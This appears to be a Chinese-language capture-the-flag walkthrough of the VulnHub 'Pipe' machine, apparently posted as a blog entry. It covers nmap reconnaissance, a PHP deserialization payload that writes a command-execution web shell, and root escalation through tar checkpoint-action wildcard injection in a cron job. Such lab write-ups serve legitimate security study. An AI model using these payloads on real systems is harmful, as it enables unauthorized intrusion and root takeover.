Hacking /dev/random: Pipe

Posted 2021-02-09 hack404

 

1) 下载镜像，虚拟机启动

https://download.vulnhub.com/devrandom/pipe.ova

2) nmap 扫描探测

Nmap 扫描开路：

╰─ nmap -Pn -sV -p- 10.10.202.0/24

Nmap scan report for 10.10.202.247

Host is up (0.0068s latency).

Not shown: 65531 filtered ports

PORT      STATE SERVICE VERSION

22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)

80/tcp    open  http    Apache httpd

111/tcp   open  rpcbind 2-4 (RPC #100000)

34083/tcp open  status  1 (RPC #100024)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 120.49 seconds

 

3）分别使用nmap 对应的脚本服务进行深层次的扫描

╰─ sudo nmap -Pn -p 111 --reason 10.10.202.247 --script rpcinfo

Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-16 17:22 CST

Nmap scan report for 10.10.202.247

Host is up, received arp-response (0.00059s latency).

 

PORT    STATE SERVICE REASON

111/tcp open  rpcbind syn-ack ttl 64

| rpcinfo:

|   program version   port/proto  service

|   100000  2,3,4        111/tcp  rpcbind

|   100000  2,3,4        111/udp  rpcbind

|   100024  1          34083/tcp  status

|_  100024  1          55538/udp  status

MAC Address: 00:0C:29:B8:DE:3D (VMware)

 

Nmap done: 1 IP address (1 host up) scanned in 0.83 seconds

─ sudo nmap -Pn -p 22 --reason 10.10.202.247 --script ssh-hostkey

Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-16 17:24 CST

Nmap scan report for 10.10.202.247

Host is up, received arp-response (0.00027s latency).

 

PORT   STATE SERVICE REASON

22/tcp open  ssh     syn-ack ttl 64

| ssh-hostkey:

|   1024 16:48:50:89:e7:c9:1f:90:ff:15:d8:3e:ce:ea:53:8f (DSA)

|   2048 ca:f9:85:be:d7:36:47:51:4f:e6:27:84:72:eb:e8:18 (RSA)

|   256 d8:47:a0:87:84:b2:eb:f5:be:fc:1c:f1:c9:7f:e3:52 (ECDSA)

|_  256 7b:00:f7:dc:31:24:18:cf:e4:0a:ec:7a:32:d9:f6:a2 (ED25519)

MAC Address: 00:0C:29:B8:DE:3D (VMware)

 

Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds

╰─ sudo nmap -Pn -p 80 --reason 10.10.202.247 --script http-auth

Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-16 17:25 CST

Nmap scan report for 10.10.202.247

Host is up, received arp-response (0.00026s latency).

 

PORT   STATE SERVICE REASON

80/tcp open  http    syn-ack ttl 64

| http-auth:

| HTTP/1.1 401 Unauthorizedx0D

|_  Basic realm=index.php

MAC Address: 00:0C:29:B8:DE:3D (VMware)

 

Nmap done: 1 IP address (1 host up) scanned in 0.67 seconds

 

4）分析访问web的80端口

http://10.10.202.247/index.php

burpsuit 来开道，备注，设置显示 Unhide  from fields

抓包修改http get 方式为post

 

param=O%3A4%3A%22Info%22%3A4%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A9%3A%22firstname%22%3Bs%3A4%3A%22Rene%22%3Bs%3A7%3A%22surname%22%3Bs%3A8%3A%22Margitte%22%3Bs%3A7%3A%22artwork%22%3Bs%3A23%3A%22The+Treachery+of+Images%22%3B%7D

url dencode 解码为json格式的数据

O:4:"Info":4:{s:2:"id";i:1;s:9:"firstname";s:4:"Rene";s:7:"surname";s:8:"Margitte";s:7:"artwork";s:23:"The Treachery of Images";}

通过分析返回的数据，存在相关文件和目录 scriptz/php.js 的文件

function serialize(mixed_value) {

  //  discuss at: http://phpjs.org/functions/serialize/

  // original by: Arpad Ray (mailto:[email protected])

  // improved by: Dino

  // improved by: Le Torbi (http://www.letorbi.de/)

  // improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net/)

  // bugfixed by: Andrej Pavlovic

  // bugfixed by: Garagoth

  // bugfixed by: Russell Walker (http://www.nbill.co.uk/)

  // bugfixed by: Jamie Beck (http://www.terabit.ca/)

  // bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net/)

  // bugfixed by: Ben (http://benblume.co.uk/)

  //    input by: DtTvB (http://dt.in.th/2008-09-16.string-length-in-bytes.html)

  //    input by: Martin (http://www.erlenwiese.de/)

  //        note: We feel the main purpose of this function should be to ease the transport of data between php & js

  //        note: Aiming for PHP-compatibility, we have to translate objects to arrays

  //   example 1: serialize([‘Kevin‘, ‘van‘, ‘Zonneveld‘]);

  //   returns 1: ‘a:3:{i:0;s:5:"Kevin";i:1;s:3:"van";i:2;s:9:"Zonneveld";}‘

  //   example 2: serialize({firstName: ‘Kevin‘, midName: ‘van‘, surName: ‘Zonneveld‘});

  //   returns 2: ‘a:3:{s:9:"firstName";s:5:"Kevin";s:7:"midName";s:3:"van";s:7:"surName";s:9:"Zonneveld";}‘

分析可知，通过json构造脚本，生成木马文件

元数据：

O:4:"Info":4:{s:2:"id";i:1;s:9:"firstname";s:4:"Rene";s:7:"surname";s:8:"Margitte";s:7:"artwork";s:23:"The Treachery of Images";}

 

构造数据

O:3:"Log":2:{s:8:"filename";s:31:"/var/www/html/scriptz/shell.php";s:4:"data";s:60:"<?php echo ‘<pre>‘; system($_GET[‘cmd‘]); echo ‘</pre>‘; ?>";}

 

Encode

 

O%3A3%3A%22Log%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A31%3A%22%2Fvar%2Fwww%2Fhtml%2Fscriptz%2Fshell.php%22%3Bs%3A4%3A%22data%22%3Bs%3A60%3A%22%0A%3C%3Fphp%20echo%20%27%3Cpre%3E%27%3B%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20echo%20%27%3C%2Fpre%3E%27%3B%20%3F%3E%22%3B%7D

 

 5）反弹shell

 

 6）进行提权操作

先切换到bash shell

python -c ‘import pty;pty.spawn("/bin/bash")‘

使用crontab进行提权

当用户执行tar二进制文件时，可以滥用Tar的--checkpoint-action参数来执行任意代码。 --checkpoint-action作为tar功能存在，允许在达到前缀为--checkpoint-action = exec = COMMAND-HERE的文件时二进制执行命令

$ pwd
/var/www/html/scriptz
$ cd /home/rene/backup
$ pwd
/home/rene/backup

 

$ echo > --checkpoint=1;
$ echo > --checkpoint-action=exec=sh shell.sh;
$ echo ‘chmod u+s /bin/dash‘ > shell.sh
$ chmod +x shell.sh

等待计划任务下一次执行，就可以获取root权限

 

提权方式2，可以通过内核提权，这里好像会导致系统崩溃！！！